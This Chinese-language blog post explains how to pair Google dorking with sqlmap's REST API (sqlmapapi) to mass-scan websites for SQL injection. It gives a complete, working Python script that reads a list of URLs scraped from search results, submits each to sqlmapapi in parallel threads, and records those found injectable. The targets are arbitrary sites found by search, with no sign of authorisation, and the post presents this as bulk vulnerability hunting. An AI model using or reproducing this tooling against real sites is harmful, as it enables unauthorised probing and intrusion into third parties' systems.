Loading

利用sqlmapapi和google-hacking联动自动化sql注入探测

利用inurl语法搜索+sqlmap梭哈挖到过一点sql注入,这不失为一种好方法。

但是现在的sql注入漏洞的网站是比较少的了,所以这样一个个手工测,不仅效率低,还不一定有什么收获。不妨写一个google-hacking+sqlmap联动的自动化脚本批量挖洞。

image

为此写了一个小的python爬虫脚本,目的是可以利用google-hacking搜索然后再从google浏览器页面自动批量爬取这些我们想要的url。

image

项目地址: https://github.com/slcsec/slghack

待测的目标url都准备好了,接下来就是如何优雅地利用sqlmap实现快速高效探测。这里可能会想到sqlmap的-m选项,它读取多个目标url快速扫描,然而在sqlmap项目的根目录下面有个sqlmapapi.py,可能很少有人注意到。

image

sqlmapapi.py是sqlmap提供的一个API接口,它允许用户通过编程方式调用sqlmap的功能。可以利用sqlmapapi.py开启服务端口,然后向sqlmapapi发送请求,就可以进行快速稳定的sql注入探测。

使用方法也很简单python sqlmapapi.py -s命令可在本地的8775端口开启一个sqlmapapi的服务,也可以通过-p指定端口。

image

没有找到关于sqlmapapi官方的API文档,只有一些第三方的文档可以参考:Unofficial SQLmap RESTful API documentation

基于HTTP协议的接口模式,可以通过HTTP请求与sqlmapapi.py进行交互,以下是一些可用的API端点:

image

sqlmapapi的主要工作流程:

  1. GET请求/task/new创建一个新的扫描任务

  2. POST请求/scan/<taskid>/start并通过json格式提交参数,开始一个扫描任务

  3. GET请求/scan/<taskid>/status来获取指定的taskid的扫描状态(run/terminated)

  4. GET请求/scan/<taskid>/data获取扫描结果

知道了这些就可以通过requests来模拟相应的api请求,以此来执行扫描任务了。

import json
import queue
import requests
from threading import Thread
from time import sleep

class slghack_sqli:
    def __init__(self, server="http://127.0.0.1:8775", urlsfile=None, output="sqli_result.txt"):
        self.server = server
        self.urlsfile = urlsfile
        self.ouput = output
        self.task_queue = queue.Queue()

    def get_urls(self):
        with open(self.urlsfile, "r") as f:
            for url in f.readlines():
                self.task_queue.put(url.strip())

    def sent_server(self):
        threads = []
        while not self.task_queue.empty():
            url = self.task_queue.get().strip()
            print(f"Target URL: {url}")
            t = Thread(target=self.scan, args=(url,))
            threads.append(t)
            t.start()

        for t in threads:
            t.join()

    def scan(self, url):
        try:
            r = requests.get(f"{self.server}/task/new")
            taskid = r.json()['taskid']

            r = requests.post(
                f"{self.server}/scan/{taskid}/start",
                data=json.dumps({'url': url}), headers={'content-type': 'application/json'}
            )

            r = requests.get(f"{self.server}/scan/{taskid}/status")
            count = 0
            while r.json()["status"] == "running":
                sleep(6)
                r = requests.get(f"{self.server}/scan/{taskid}/status")
                print(r.json()["status"])
                count += 1
                if count == 30:
                    # 每个task最多跑6*30=180s结束
                    requests.get(f"{self.server}/scan/{taskid}/stop")
            r = requests.get(f"{self.server}/scan/{taskid}/data")
            requests.get(f"{self.server}/scan/{taskid}/delete")
            if r.json()['data']:
                print("Injection found: " + url)
                with open(self.ouput, "a") as f:
                    f.write(url + "\n")
        except requests.ConnectionError:
            print("Connection error!")


if __name__ == '__main__':
    ssqli = slghack_sqli(urlsfile='sql_urls.txt')
    ssqli.get_urls()
    ssqli.sent_server()

这种批量扫描探测,肯定是要比手工测的效率要高出不少的。

image

it works, nice!

参考文章:
https://www.freebuf.com/articles/web/204875.html


若有错误,欢迎指正!o( ̄▽ ̄)ブ

posted @ 2024-04-14 21:46  smileleooo  阅读(503)  评论(0编辑  收藏  举报